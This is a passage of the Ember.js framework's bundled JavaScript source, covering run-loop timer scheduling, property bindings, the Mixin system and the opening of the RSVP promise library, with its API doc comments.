['sync', 'actions', 'destroy', 'timers'] */ Ember.run.queues = ['sync', 'actions', 'destroy', 'timers']; /** Adds the passed target/method and any optional arguments to the named queue to be executed at the end of the RunLoop. If you have not already started a RunLoop when calling this method one will be started for you automatically. At the end of a RunLoop, any methods scheduled in this way will be invoked. Methods will be invoked in an order matching the named queues defined in the `run.queues` property. ```javascript Ember.run.schedule('timers', this, function(){ // this will be executed at the end of the RunLoop, when timers are run console.log("scheduled on timers queue"); }); Ember.run.schedule('sync', this, function(){ // this will be executed at the end of the RunLoop, when bindings are synced console.log("scheduled on sync queue"); }); // Note the functions will be run in order based on the run queues order. Output would be: // scheduled on sync queue // scheduled on timers queue ``` @method schedule @param {String} queue The name of the queue to schedule against. Default queues are 'sync' and 'actions' @param {Object} [target] target object to use as the context when invoking a method. @param {String|Function} method The method to invoke. If you pass a string it will be resolved on the target object at the time the scheduled item is invoked allowing you to change the target function. @param {Object} [arguments*] Optional arguments to be passed to the queued method. @return {void} */ Ember.run.schedule = function(queue, target, method) { var loop = run.autorun(); loop.schedule.apply(loop, arguments); }; var scheduledAutorun; function autorun() { scheduledAutorun = null; if (run.currentRunLoop) { run.end(); } } // Used by global test teardown Ember.run.hasScheduledTimers = function() { return !!(scheduledAutorun || scheduledLater || scheduledNext); }; // Used by global test teardown Ember.run.cancelTimers = function () { if (scheduledAutorun) { clearTimeout(scheduledAutorun); scheduledAutorun = null; } if (scheduledLater) { clearTimeout(scheduledLater); scheduledLater = null; } if (scheduledNext) { clearTimeout(scheduledNext); scheduledNext = null; } timers = {}; }; /** Begins a new RunLoop if necessary and schedules a timer to flush the RunLoop at a later time. This method is used by parts of Ember to ensure the RunLoop always finishes. You normally do not need to call this method directly. Instead use `Ember.run()` @method autorun @example Ember.run.autorun(); @return {Ember.RunLoop} the new current RunLoop */ Ember.run.autorun = function() { if (!run.currentRunLoop) { run.begin(); if (!scheduledAutorun) { scheduledAutorun = setTimeout(autorun, 1); } } return run.currentRunLoop; }; /** Immediately flushes any events scheduled in the 'sync' queue. Bindings use this queue so this method is a useful way to immediately force all bindings in the application to sync. You should call this method anytime you need any changed state to propagate throughout the app immediately without repainting the UI. ```javascript Ember.run.sync(); ``` @method sync @return {void} */ Ember.run.sync = function() { run.autorun(); run.currentRunLoop.flush('sync'); }; // .......................................................... // TIMERS // var timers = {}; // active timers... var scheduledLater; function invokeLaterTimers() { scheduledLater = null; var now = (+ new Date()), earliest = -1; for (var key in timers) { if (!timers.hasOwnProperty(key)) { continue; } var timer = timers[key]; if (timer && timer.expires) { if (now >= timer.expires) { delete timers[key]; invoke(timer.target, timer.method, timer.args, 2); } else { if (earliest<0 || (timer.expires < earliest)) earliest=timer.expires; } } } // schedule next timeout to fire... if (earliest > 0) { scheduledLater = setTimeout(invokeLaterTimers, earliest-(+ new Date())); } } /** Invokes the passed target/method and optional arguments after a specified period if time. The last parameter of this method must always be a number of milliseconds. You should use this method whenever you need to run some action after a period of time instead of using `setTimeout()`. This method will ensure that items that expire during the same script execution cycle all execute together, which is often more efficient than using a real setTimeout. ```javascript Ember.run.later(myContext, function(){ // code here will execute within a RunLoop in about 500ms with this == myContext }, 500); ``` @method later @param {Object} [target] target of method to invoke @param {Function|String} method The method to invoke. If you pass a string it will be resolved on the target at the time the method is invoked. @param {Object} [args*] Optional arguments to pass to the timeout. @param {Number} wait Number of milliseconds to wait. @return {String} a string you can use to cancel the timer in {{#crossLink "Ember/run.cancel"}}{{/crossLink}} later. */ Ember.run.later = function(target, method) { var args, expires, timer, guid, wait; // setTimeout compatibility... if (arguments.length===2 && 'function' === typeof target) { wait = method; method = target; target = undefined; args = [target, method]; } else { args = slice.call(arguments); wait = args.pop(); } expires = (+ new Date()) + wait; timer = { target: target, method: method, expires: expires, args: args }; guid = Ember.guidFor(timer); timers[guid] = timer; run.once(timers, invokeLaterTimers); return guid; }; function invokeOnceTimer(guid, onceTimers) { if (onceTimers[this.tguid]) { delete onceTimers[this.tguid][this.mguid]; } if (timers[guid]) { invoke(this.target, this.method, this.args); } delete timers[guid]; } function scheduleOnce(queue, target, method, args) { var tguid = Ember.guidFor(target), mguid = Ember.guidFor(method), onceTimers = run.autorun().onceTimers, guid = onceTimers[tguid] && onceTimers[tguid][mguid], timer; if (guid && timers[guid]) { timers[guid].args = args; // replace args } else { timer = { target: target, method: method, args: args, tguid: tguid, mguid: mguid }; guid = Ember.guidFor(timer); timers[guid] = timer; if (!onceTimers[tguid]) { onceTimers[tguid] = {}; } onceTimers[tguid][mguid] = guid; // so it isn't scheduled more than once run.schedule(queue, timer, invokeOnceTimer, guid, onceTimers); } return guid; } /** Schedules an item to run one time during the current RunLoop. Calling this method with the same target/method combination will have no effect. Note that although you can pass optional arguments these will not be considered when looking for duplicates. New arguments will replace previous calls. ```javascript Ember.run(function(){ var doFoo = function() { foo(); } Ember.run.once(myContext, doFoo); Ember.run.once(myContext, doFoo); // doFoo will only be executed once at the end of the RunLoop }); ``` @method once @param {Object} [target] target of method to invoke @param {Function|String} method The method to invoke. If you pass a string it will be resolved on the target at the time the method is invoked. @param {Object} [args*] Optional arguments to pass to the timeout. @return {Object} timer */ Ember.run.once = function(target, method) { return scheduleOnce('actions', target, method, slice.call(arguments, 2)); }; Ember.run.scheduleOnce = function(queue, target, method, args) { return scheduleOnce(queue, target, method, slice.call(arguments, 3)); }; var scheduledNext; function invokeNextTimers() { scheduledNext = null; for(var key in timers) { if (!timers.hasOwnProperty(key)) { continue; } var timer = timers[key]; if (timer.next) { delete timers[key]; invoke(timer.target, timer.method, timer.args, 2); } } } /** Schedules an item to run after control has been returned to the system. This is often equivalent to calling `setTimeout(function() {}, 1)`. ```javascript Ember.run.next(myContext, function(){ // code to be executed in the next RunLoop, which will be scheduled after the current one }); ``` @method next @param {Object} [target] target of method to invoke @param {Function|String} method The method to invoke. If you pass a string it will be resolved on the target at the time the method is invoked. @param {Object} [args*] Optional arguments to pass to the timeout. @return {Object} timer */ Ember.run.next = function(target, method) { var guid, timer = { target: target, method: method, args: slice.call(arguments), next: true }; guid = Ember.guidFor(timer); timers[guid] = timer; if (!scheduledNext) { scheduledNext = setTimeout(invokeNextTimers, 1); } return guid; }; /** Cancels a scheduled item. Must be a value returned by `Ember.run.later()`, `Ember.run.once()`, or `Ember.run.next()`. ```javascript var runNext = Ember.run.next(myContext, function(){ // will not be executed }); Ember.run.cancel(runNext); var runLater = Ember.run.later(myContext, function(){ // will not be executed }, 500); Ember.run.cancel(runLater); var runOnce = Ember.run.once(myContext, function(){ // will not be executed }); Ember.run.cancel(runOnce); ``` @method cancel @param {Object} timer Timer object to cancel @return {void} */ Ember.run.cancel = function(timer) { delete timers[timer]; }; })(); (function() { // Ember.Logger // get, set, trySet // guidFor, isArray, meta // addObserver, removeObserver // Ember.run.schedule /** @module ember-metal */ // .......................................................... // CONSTANTS // /** Debug parameter you can turn on. This will log all bindings that fire to the console. This should be disabled in production code. Note that you can also enable this from the console or temporarily. @property LOG_BINDINGS @for Ember @type Boolean @default false */ Ember.LOG_BINDINGS = false || !!Ember.ENV.LOG_BINDINGS; var get = Ember.get, set = Ember.set, guidFor = Ember.guidFor, isGlobalPath = Ember.isGlobalPath; function getWithGlobals(obj, path) { return get(isGlobalPath(path) ? Ember.lookup : obj, path); } // .......................................................... // BINDING // var Binding = function(toPath, fromPath) { this._direction = 'fwd'; this._from = fromPath; this._to = toPath; this._directionMap = Ember.Map.create(); }; /** @class Binding @namespace Ember */ Binding.prototype = { /** This copies the Binding so it can be connected to another object. @method copy @return {Ember.Binding} */ copy: function () { var copy = new Binding(this._to, this._from); if (this._oneWay) { copy._oneWay = true; } return copy; }, // .......................................................... // CONFIG // /** This will set `from` property path to the specified value. It will not attempt to resolve this property path to an actual object until you connect the binding. The binding will search for the property path starting at the root object you pass when you `connect()` the binding. It follows the same rules as `get()` - see that method for more information. @method from @param {String} propertyPath the property path to connect to @return {Ember.Binding} `this` */ from: function(path) { this._from = path; return this; }, /** This will set the `to` property path to the specified value. It will not attempt to resolve this property path to an actual object until you connect the binding. The binding will search for the property path starting at the root object you pass when you `connect()` the binding. It follows the same rules as `get()` - see that method for more information. @method to @param {String|Tuple} propertyPath A property path or tuple @return {Ember.Binding} `this` */ to: function(path) { this._to = path; return this; }, /** Configures the binding as one way. A one-way binding will relay changes on the `from` side to the `to` side, but not the other way around. This means that if you change the `to` side directly, the `from` side may have a different value. @method oneWay @return {Ember.Binding} `this` */ oneWay: function() { this._oneWay = true; return this; }, toString: function() { var oneWay = this._oneWay ? '[oneWay]' : ''; return "Ember.Binding<" + guidFor(this) + ">(" + this._from + " -> " + this._to + ")" + oneWay; }, // .......................................................... // CONNECT AND SYNC // /** Attempts to connect this binding instance so that it can receive and relay changes. This method will raise an exception if you have not set the from/to properties yet. @method connect @param {Object} obj The root object for this binding. @return {Ember.Binding} `this` */ connect: function(obj) { var fromPath = this._from, toPath = this._to; Ember.trySet(obj, toPath, getWithGlobals(obj, fromPath)); // add an observer on the object to be notified when the binding should be updated Ember.addObserver(obj, fromPath, this, this.fromDidChange); // if the binding is a two-way binding, also set up an observer on the target if (!this._oneWay) { Ember.addObserver(obj, toPath, this, this.toDidChange); } this._readyToSync = true; return this; }, /** Disconnects the binding instance. Changes will no longer be relayed. You will not usually need to call this method. @method disconnect @param {Object} obj The root object you passed when connecting the binding. @return {Ember.Binding} `this` */ disconnect: function(obj) { var twoWay = !this._oneWay; // remove an observer on the object so we're no longer notified of // changes that should update bindings. Ember.removeObserver(obj, this._from, this, this.fromDidChange); // if the binding is two-way, remove the observer from the target as well if (twoWay) { Ember.removeObserver(obj, this._to, this, this.toDidChange); } this._readyToSync = false; // disable scheduled syncs... return this; }, // .......................................................... // PRIVATE // /* called when the from side changes */ fromDidChange: function(target) { this._scheduleSync(target, 'fwd'); }, /* called when the to side changes */ toDidChange: function(target) { this._scheduleSync(target, 'back'); }, _scheduleSync: function(obj, dir) { var directionMap = this._directionMap; var existingDir = directionMap.get(obj); // if we haven't scheduled the binding yet, schedule it if (!existingDir) { Ember.run.schedule('sync', this, this._sync, obj); directionMap.set(obj, dir); } // If both a 'back' and 'fwd' sync have been scheduled on the same object, // default to a 'fwd' sync so that it remains deterministic. if (existingDir === 'back' && dir === 'fwd') { directionMap.set(obj, 'fwd'); } }, _sync: function(obj) { var log = Ember.LOG_BINDINGS; // don't synchronize destroyed objects or disconnected bindings if (obj.isDestroyed || !this._readyToSync) { return; } // get the direction of the binding for the object we are // synchronizing from var directionMap = this._directionMap; var direction = directionMap.get(obj); var fromPath = this._from, toPath = this._to; directionMap.remove(obj); // if we're synchronizing from the remote object... if (direction === 'fwd') { var fromValue = getWithGlobals(obj, this._from); if (log) { Ember.Logger.log(' ', this.toString(), '->', fromValue, obj); } if (this._oneWay) { Ember.trySet(obj, toPath, fromValue); } else { Ember._suspendObserver(obj, toPath, this, this.toDidChange, function () { Ember.trySet(obj, toPath, fromValue); }); } // if we're synchronizing *to* the remote object } else if (direction === 'back') { var toValue = get(obj, this._to); if (log) { Ember.Logger.log(' ', this.toString(), '<-', toValue, obj); } Ember._suspendObserver(obj, fromPath, this, this.fromDidChange, function () { Ember.trySet(Ember.isGlobalPath(fromPath) ? Ember.lookup : obj, fromPath, toValue); }); } } }; function mixinProperties(to, from) { for (var key in from) { if (from.hasOwnProperty(key)) { to[key] = from[key]; } } } mixinProperties(Binding, { /** See {{#crossLink "Ember.Binding/from"}}{{/crossLink}} @method from @static */ from: function() { var C = this, binding = new C(); return binding.from.apply(binding, arguments); }, /** See {{#crossLink "Ember.Binding/to"}}{{/crossLink}} @method to @static */ to: function() { var C = this, binding = new C(); return binding.to.apply(binding, arguments); }, /** Creates a new Binding instance and makes it apply in a single direction. A one-way binding will relay changes on the `from` side object (supplied as the `from` argument) the `to` side, but not the other way around. This means that if you change the "to" side directly, the "from" side may have a different value. See {{#crossLink "Binding/oneWay"}}{{/crossLink}} @method oneWay @param {String} from from path. @param {Boolean} [flag] (Optional) passing nothing here will make the binding `oneWay`. You can instead pass `false` to disable `oneWay`, making the binding two way again. */ oneWay: function(from, flag) { var C = this, binding = new C(null, from); return binding.oneWay(flag); } }); /** An `Ember.Binding` connects the properties of two objects so that whenever the value of one property changes, the other property will be changed also. ## Automatic Creation of Bindings with `/^*Binding/`-named Properties You do not usually create Binding objects directly but instead describe bindings in your class or object definition using automatic binding detection. Properties ending in a `Binding` suffix will be converted to `Ember.Binding` instances. The value of this property should be a string representing a path to another object or a custom binding instanced created using Binding helpers (see "Customizing Your Bindings"): ``` valueBinding: "MyApp.someController.title" ``` This will create a binding from `MyApp.someController.title` to the `value` property of your object instance automatically. Now the two values will be kept in sync. ## One Way Bindings One especially useful binding customization you can use is the `oneWay()` helper. This helper tells Ember that you are only interested in receiving changes on the object you are binding from. For example, if you are binding to a preference and you want to be notified if the preference has changed, but your object will not be changing the preference itself, you could do: ``` bigTitlesBinding: Ember.Binding.oneWay("MyApp.preferencesController.bigTitles") ``` This way if the value of `MyApp.preferencesController.bigTitles` changes the `bigTitles` property of your object will change also. However, if you change the value of your `bigTitles` property, it will not update the `preferencesController`. One way bindings are almost twice as fast to setup and twice as fast to execute because the binding only has to worry about changes to one side. You should consider using one way bindings anytime you have an object that may be created frequently and you do not intend to change a property; only to monitor it for changes. (such as in the example above). ## Adding Bindings Manually All of the examples above show you how to configure a custom binding, but the result of these customizations will be a binding template, not a fully active Binding instance. The binding will actually become active only when you instantiate the object the binding belongs to. It is useful however, to understand what actually happens when the binding is activated. For a binding to function it must have at least a `from` property and a `to` property. The `from` property path points to the object/key that you want to bind from while the `to` path points to the object/key you want to bind to. When you define a custom binding, you are usually describing the property you want to bind from (such as `MyApp.someController.value` in the examples above). When your object is created, it will automatically assign the value you want to bind `to` based on the name of your binding key. In the examples above, during init, Ember objects will effectively call something like this on your binding: ```javascript binding = Ember.Binding.from(this.valueBinding).to("value"); ``` This creates a new binding instance based on the template you provide, and sets the to path to the `value` property of the new object. Now that the binding is fully configured with a `from` and a `to`, it simply needs to be connected to become active. This is done through the `connect()` method: ```javascript binding.connect(this); ``` Note that when you connect a binding you pass the object you want it to be connected to. This object will be used as the root for both the from and to side of the binding when inspecting relative paths. This allows the binding to be automatically inherited by subclassed objects as well. Now that the binding is connected, it will observe both the from and to side and relay changes. If you ever needed to do so (you almost never will, but it is useful to understand this anyway), you could manually create an active binding by using the `Ember.bind()` helper method. (This is the same method used by to setup your bindings on objects): ```javascript Ember.bind(MyApp.anotherObject, "value", "MyApp.someController.value"); ``` Both of these code fragments have the same effect as doing the most friendly form of binding creation like so: ```javascript MyApp.anotherObject = Ember.Object.create({ valueBinding: "MyApp.someController.value", // OTHER CODE FOR THIS OBJECT... }); ``` Ember's built in binding creation method makes it easy to automatically create bindings for you. You should always use the highest-level APIs available, even if you understand how it works underneath. @class Binding @namespace Ember @since Ember 0.9 */ Ember.Binding = Binding; /** Global helper method to create a new binding. Just pass the root object along with a `to` and `from` path to create and connect the binding. @method bind @for Ember @param {Object} obj The root object of the transform. @param {String} to The path to the 'to' side of the binding. Must be relative to obj. @param {String} from The path to the 'from' side of the binding. Must be relative to obj or a global path. @return {Ember.Binding} binding instance */ Ember.bind = function(obj, to, from) { return new Ember.Binding(to, from).connect(obj); }; /** @method oneWay @for Ember @param {Object} obj The root object of the transform. @param {String} to The path to the 'to' side of the binding. Must be relative to obj. @param {String} from The path to the 'from' side of the binding. Must be relative to obj or a global path. @return {Ember.Binding} binding instance */ Ember.oneWay = function(obj, to, from) { return new Ember.Binding(to, from).oneWay().connect(obj); }; })(); (function() { /** @module ember-metal */ var Mixin, REQUIRED, Alias, a_map = Ember.ArrayPolyfills.map, a_indexOf = Ember.ArrayPolyfills.indexOf, a_forEach = Ember.ArrayPolyfills.forEach, a_slice = [].slice, EMPTY_META = {}, // dummy for non-writable meta o_create = Ember.create, defineProperty = Ember.defineProperty, guidFor = Ember.guidFor; function mixinsMeta(obj) { var m = Ember.meta(obj, true), ret = m.mixins; if (!ret) { ret = m.mixins = {}; } else if (!m.hasOwnProperty('mixins')) { ret = m.mixins = o_create(ret); } return ret; } function initMixin(mixin, args) { if (args && args.length > 0) { mixin.mixins = a_map.call(args, function(x) { if (x instanceof Mixin) { return x; } // Note: Manually setup a primitive mixin here. This is the only // way to actually get a primitive mixin. This way normal creation // of mixins will give you combined mixins... var mixin = new Mixin(); mixin.properties = x; return mixin; }); } return mixin; } function isMethod(obj) { return 'function' === typeof obj && obj.isMethod !== false && obj !== Boolean && obj !== Object && obj !== Number && obj !== Array && obj !== Date && obj !== String; } var CONTINUE = {}; function mixinProperties(mixinsMeta, mixin) { var guid; if (mixin instanceof Mixin) { guid = guidFor(mixin); if (mixinsMeta[guid]) { return CONTINUE; } mixinsMeta[guid] = mixin; return mixin.properties; } else { return mixin; // apply anonymous mixin properties } } function concatenatedProperties(props, values, base) { var concats; // reset before adding each new mixin to pickup concats from previous concats = values.concatenatedProperties || base.concatenatedProperties; if (props.concatenatedProperties) { concats = concats ? concats.concat(props.concatenatedProperties) : props.concatenatedProperties; } return concats; } function giveDescriptorSuper(meta, key, property, values, descs) { var superProperty; // Computed properties override methods, and do not call super to them if (values[key] === undefined) { // Find the original descriptor in a parent mixin superProperty = descs[key]; } // If we didn't find the original descriptor in a parent mixin, find // it on the original object. superProperty = superProperty || meta.descs[key]; if (!superProperty || !(superProperty instanceof Ember.ComputedProperty)) { return property; } // Since multiple mixins may inherit from the same parent, we need // to clone the computed property so that other mixins do not receive // the wrapped version. property = o_create(property); property.func = Ember.wrap(property.func, superProperty.func); return property; } function giveMethodSuper(obj, key, method, values, descs) { var superMethod; // Methods overwrite computed properties, and do not call super to them. if (descs[key] === undefined) { // Find the original method in a parent mixin superMethod = values[key]; } // If we didn't find the original value in a parent mixin, find it in // the original object superMethod = superMethod || obj[key]; // Only wrap the new method if the original method was a function if ('function' !== typeof superMethod) { return method; } return Ember.wrap(method, superMethod); } function applyConcatenatedProperties(obj, key, value, values) { var baseValue = values[key] || obj[key]; if (baseValue) { if ('function' === typeof baseValue.concat) { return baseValue.concat(value); } else { return Ember.makeArray(baseValue).concat(value); } } else { return Ember.makeArray(value); } } function addNormalizedProperty(base, key, value, meta, descs, values, concats) { if (value instanceof Ember.Descriptor) { if (value === REQUIRED && descs[key]) { return CONTINUE; } // Wrap descriptor function to implement // _super() if needed if (value.func) { value = giveDescriptorSuper(meta, key, value, values, descs); } descs[key] = value; values[key] = undefined; } else { // impl super if needed... if (isMethod(value)) { value = giveMethodSuper(base, key, value, values, descs); } else if ((concats && a_indexOf.call(concats, key) >= 0) || key === 'concatenatedProperties') { value = applyConcatenatedProperties(base, key, value, values); } descs[key] = undefined; values[key] = value; } } function mergeMixins(mixins, m, descs, values, base) { var mixin, props, key, concats, meta; function removeKeys(keyName) { delete descs[keyName]; delete values[keyName]; } for(var i=0, l=mixins.length; i<l; i++) { mixin = mixins[i]; props = mixinProperties(m, mixin); if (props === CONTINUE) { continue; } if (props) { meta = Ember.meta(base); concats = concatenatedProperties(props, values, base); for (key in props) { if (!props.hasOwnProperty(key)) { continue; } addNormalizedProperty(base, key, props[key], meta, descs, values, concats); } // manually copy toString() because some JS engines do not enumerate it if (props.hasOwnProperty('toString')) { base.toString = props.toString; } } else if (mixin.mixins) { mergeMixins(mixin.mixins, m, descs, values, base); if (mixin._without) { a_forEach.call(mixin._without, removeKeys); } } } } function writableReq(obj) { var m = Ember.meta(obj), req = m.required; if (!req || !m.hasOwnProperty('required')) { req = m.required = req ? o_create(req) : {}; } return req; } var IS_BINDING = Ember.IS_BINDING = /^.+Binding$/; function detectBinding(obj, key, value, m) { if (IS_BINDING.test(key)) { var bindings = m.bindings; if (!bindings) { bindings = m.bindings = {}; } else if (!m.hasOwnProperty('bindings')) { bindings = m.bindings = o_create(m.bindings); } bindings[key] = value; } } function connectBindings(obj, m) { // TODO Mixin.apply(instance) should disconnect binding if exists var bindings = m.bindings, key, binding, to; if (bindings) { for (key in bindings) { binding = bindings[key]; if (binding) { to = key.slice(0, -7); // strip Binding off end if (binding instanceof Ember.Binding) { binding = binding.copy(); // copy prototypes' instance binding.to(to); } else { // binding is string path binding = new Ember.Binding(to, binding); } binding.connect(obj); obj[key] = binding; } } // mark as applied m.bindings = {}; } } function finishPartial(obj, m) { connectBindings(obj, m || Ember.meta(obj)); return obj; } function followAlias(obj, desc, m, descs, values) { var altKey = desc.methodName, value; if (descs[altKey] || values[altKey]) { value = values[altKey]; desc = descs[altKey]; } else if (m.descs[altKey]) { desc = m.descs[altKey]; value = undefined; } else { desc = undefined; value = obj[altKey]; } return { desc: desc, value: value }; } function updateObservers(obj, key, observer, observerKey, method) { if ('function' !== typeof observer) { return; } var paths = observer[observerKey]; if (paths) { for (var i=0, l=paths.length; i<l; i++) { Ember[method](obj, paths[i], null, key); } } } function replaceObservers(obj, key, observer) { var prevObserver = obj[key]; updateObservers(obj, key, prevObserver, '__ember_observesBefore__', 'removeBeforeObserver'); updateObservers(obj, key, prevObserver, '__ember_observes__', 'removeObserver'); updateObservers(obj, key, observer, '__ember_observesBefore__', 'addBeforeObserver'); updateObservers(obj, key, observer, '__ember_observes__', 'addObserver'); } function applyMixin(obj, mixins, partial) { var descs = {}, values = {}, m = Ember.meta(obj), key, value, desc; // Go through all mixins and hashes passed in, and: // // * Handle concatenated properties // * Set up _super wrapping if necessary // * Set up computed property descriptors // * Copying `toString` in broken browsers mergeMixins(mixins, mixinsMeta(obj), descs, values, obj); for(key in values) { if (key === 'contructor' || !values.hasOwnProperty(key)) { continue; } desc = descs[key]; value = values[key]; if (desc === REQUIRED) { continue; } while (desc && desc instanceof Alias) { var followed = followAlias(obj, desc, m, descs, values); desc = followed.desc; value = followed.value; } if (desc === undefined && value === undefined) { continue; } replaceObservers(obj, key, value); detectBinding(obj, key, value, m); defineProperty(obj, key, desc, value, m); } if (!partial) { // don't apply to prototype finishPartial(obj, m); } return obj; } /** @method mixin @for Ember @param obj @param mixins* @return obj */ Ember.mixin = function(obj) { var args = a_slice.call(arguments, 1); applyMixin(obj, args, false); return obj; }; /** The `Ember.Mixin` class allows you to create mixins, whose properties can be added to other classes. For instance, ```javascript App.Editable = Ember.Mixin.create({ edit: function() { console.log('starting to edit'); this.set('isEditing', true); }, isEditing: false }); // Mix mixins into classes by passing them as the first arguments to // .extend or .create. App.CommentView = Ember.View.extend(App.Editable, { template: Ember.Handlebars.compile('{{#if isEditing}}...{{else}}...{{/if}}') }); commentView = App.CommentView.create(); commentView.edit(); // outputs 'starting to edit' ``` Note that Mixins are created with `Ember.Mixin.create`, not `Ember.Mixin.extend`. @class Mixin @namespace Ember */ Ember.Mixin = function() { return initMixin(this, arguments); }; Mixin = Ember.Mixin; Mixin._apply = applyMixin; Mixin.applyPartial = function(obj) { var args = a_slice.call(arguments, 1); return applyMixin(obj, args, true); }; Mixin.finishPartial = finishPartial; Ember.anyUnprocessedMixins = false; /** @method create @static @param arguments* */ Mixin.create = function() { Ember.anyUnprocessedMixins = true; var M = this; return initMixin(new M(), arguments); }; var MixinPrototype = Mixin.prototype; /** @method reopen @param arguments* */ MixinPrototype.reopen = function() { var mixin, tmp; if (this.properties) { mixin = Mixin.create(); mixin.properties = this.properties; delete this.properties; this.mixins = [mixin]; } else if (!this.mixins) { this.mixins = []; } var len = arguments.length, mixins = this.mixins, idx; for(idx=0; idx < len; idx++) { mixin = arguments[idx]; if (mixin instanceof Mixin) { mixins.push(mixin); } else { tmp = Mixin.create(); tmp.properties = mixin; mixins.push(tmp); } } return this; }; /** @method apply @param obj @return applied object */ MixinPrototype.apply = function(obj) { return applyMixin(obj, [this], false); }; MixinPrototype.applyPartial = function(obj) { return applyMixin(obj, [this], true); }; function _detect(curMixin, targetMixin, seen) { var guid = guidFor(curMixin); if (seen[guid]) { return false; } seen[guid] = true; if (curMixin === targetMixin) { return true; } var mixins = curMixin.mixins, loc = mixins ? mixins.length : 0; while (--loc >= 0) { if (_detect(mixins[loc], targetMixin, seen)) { return true; } } return false; } /** @method detect @param obj @return {Boolean} */ MixinPrototype.detect = function(obj) { if (!obj) { return false; } if (obj instanceof Mixin) { return _detect(obj, this, {}); } var mixins = Ember.meta(obj, false).mixins; if (mixins) { return !!mixins[guidFor(this)]; } return false; }; MixinPrototype.without = function() { var ret = new Mixin(this); ret._without = a_slice.call(arguments); return ret; }; function _keys(ret, mixin, seen) { if (seen[guidFor(mixin)]) { return; } seen[guidFor(mixin)] = true; if (mixin.properties) { var props = mixin.properties; for (var key in props) { if (props.hasOwnProperty(key)) { ret[key] = true; } } } else if (mixin.mixins) { a_forEach.call(mixin.mixins, function(x) { _keys(ret, x, seen); }); } } MixinPrototype.keys = function() { var keys = {}, seen = {}, ret = []; _keys(keys, this, seen); for(var key in keys) { if (keys.hasOwnProperty(key)) { ret.push(key); } } return ret; }; // returns the mixins currently applied to the specified object // TODO: Make Ember.mixin Mixin.mixins = function(obj) { var mixins = Ember.meta(obj, false).mixins, ret = []; if (!mixins) { return ret; } for (var key in mixins) { var mixin = mixins[key]; // skip primitive mixins since these are always anonymous if (!mixin.properties) { ret.push(mixin); } } return ret; }; REQUIRED = new Ember.Descriptor(); REQUIRED.toString = function() { return '(Required Property)'; }; /** Denotes a required property for a mixin @method required @for Ember */ Ember.required = function() { return REQUIRED; }; Alias = function(methodName) { this.methodName = methodName; }; Alias.prototype = new Ember.Descriptor(); /** Makes a property or method available via an additional name. ```javascript App.PaintSample = Ember.Object.extend({ color: 'red', colour: Ember.alias('color'), name: function(){ return "Zed"; }, moniker: Ember.alias("name") }); var paintSample = App.PaintSample.create() paintSample.get('colour'); // 'red' paintSample.moniker(); // 'Zed' ``` @method alias @for Ember @param {String} methodName name of the method or property to alias @return {Ember.Descriptor} @deprecated Use `Ember.aliasMethod` or `Ember.computed.alias` instead */ Ember.alias = function(methodName) { return new Alias(methodName); }; Ember.deprecateFunc("Ember.alias is deprecated. Please use Ember.aliasMethod or Ember.computed.alias instead.", Ember.alias); /** Makes a method available via an additional name. ```javascript App.Person = Ember.Object.extend({ name: function(){ return 'Tomhuda Katzdale'; }, moniker: Ember.aliasMethod('name') }); var goodGuy = App.Person.create() ``` @method aliasMethod @for Ember @param {String} methodName name of the method to alias @return {Ember.Descriptor} */ Ember.aliasMethod = function(methodName) { return new Alias(methodName); }; // .......................................................... // OBSERVER HELPER // /** @method observer @for Ember @param {Function} func @param {String} propertyNames* @return func */ Ember.observer = function(func) { var paths = a_slice.call(arguments, 1); func.__ember_observes__ = paths; return func; }; // If observers ever become asynchronous, Ember.immediateObserver // must remain synchronous. /** @method immediateObserver @for Ember @param {Function} func @param {String} propertyNames* @return func */ Ember.immediateObserver = function() { for (var i=0, l=arguments.length; i<l; i++) { var arg = arguments[i]; } return Ember.observer.apply(this, arguments); }; /** @method beforeObserver @for Ember @param {Function} func @param {String} propertyNames* @return func */ Ember.beforeObserver = function(func) { var paths = a_slice.call(arguments, 1); func.__ember_observesBefore__ = paths; return func; }; })(); (function() { /** Ember Metal @module ember @submodule ember-metal */ })(); (function() { define("rsvp", [], function() { "use strict"; var browserGlobal = (typeof window !== 'undefined') ? window : {}; var MutationObserver = browserGlobal.MutationObserver || browserGlobal.WebKitMutationObserver; var RSVP, async; if (typeof process !== 'undefined' && {}.toString.call(process) === '[object process]') { async = function(callback, binding) { process.nextTick(function() { callback.call(binding); }); }; } else if (MutationObserver) { var queue = []; var observer = new MutationObserver(function() { var toProcess = queue.slice(); queue = []; toProcess.forEach(function(tuple) { var callback = tuple[0], binding = tuple[1]; callback.call(binding); }); }); var element = document.createElement('div'); observer.observe(element, { attributes: true }); // Chrome Memory Leak: https://bugs.webkit.org/show_bug.cgi?id=93661 window.addEventListener('unload', function(){ observer.disconnect(); observer = null; }); async = function(callback, binding) { queue.push([callback, binding]); element.setAttribute('drainQueue', 'drainQueue'); }; } else { async = function(callback, binding) { setTimeout(function() { callback.call(binding); }, 1); }; } var Event = function(type, options) { this.type = type; for (var option in options) { if (!options.hasOwnProperty(option)) { continue; } this[option] = options[option]; } }; var indexOf = function(callbacks, callback) { for (var i=0, l=callbacks.length; i<l; i++) { if (callbacks[i][0] === callback) { return i; } } return -1; }; var callbacksFor = function(object) { var callbacks = object._promiseCallbacks; if (!callbacks) { callbacks = object._promiseCallbacks = {}; } return callbacks; }; var EventTarget = { mixin: function(object) { object.on = this.on; object.off = this.off; object.trigger = this.trigger; return object; }, on: function(eventNames, callback, binding) { var allCallbacks = callbacksFor(this), callbacks, eventName; eventNames = eventNames.split(/\s+/); binding = binding || this; while (eventName = eventNames.shift()) { callbacks = allCallbacks[eventName]; if (!callbacks) { callbacks = allCallbacks[eventName] = []; } if (indexOf(callbacks, callback) === -1) { callbacks.push([callback, binding]); } } }, off: function(eventNames, callback) { var allCallbacks = callbacksFor(this), callbacks, eventName, index; eventNames = eventNames.split(/\s+/); while (eventName = eventNames.shift()) { if (!callback) { allCallbacks[eventName] = []; continue; } callbacks = allCallbacks[eventName]; index = indexOf(callbacks, callback); if (index !== -1) { callbacks.splice(index, 1); } } }, trigger: function(eventName, options) { var allCallbacks = callbacksFor(this), callbacks, callbackTuple, callback, binding, event; if (callbacks = allCallbacks[eventName]) { for (var i=0, l=callbacks.length; i<l; i++) { callbackTuple = callbacks[i]; callback = callbackTuple[0]; binding = callbackTuple[1]; if (typeof options !== 'object') { options = { detail: options }; } event = new Event(eventName, options); callback.call(binding, event); } } } }; var Promise = function() { this.on('promise:resolved', function(event) { this.trigger('success', { detail: event.detail }); }, this); this.on('promise:failed', function(event) { this.trigger('error', { detail: event.detail }); }, this); }; var noop = function() {}; var invokeCallback = function(type, promise, callback, event) { var hasCallback = typeof callback === 'function', value, error, succeeded, failed; if 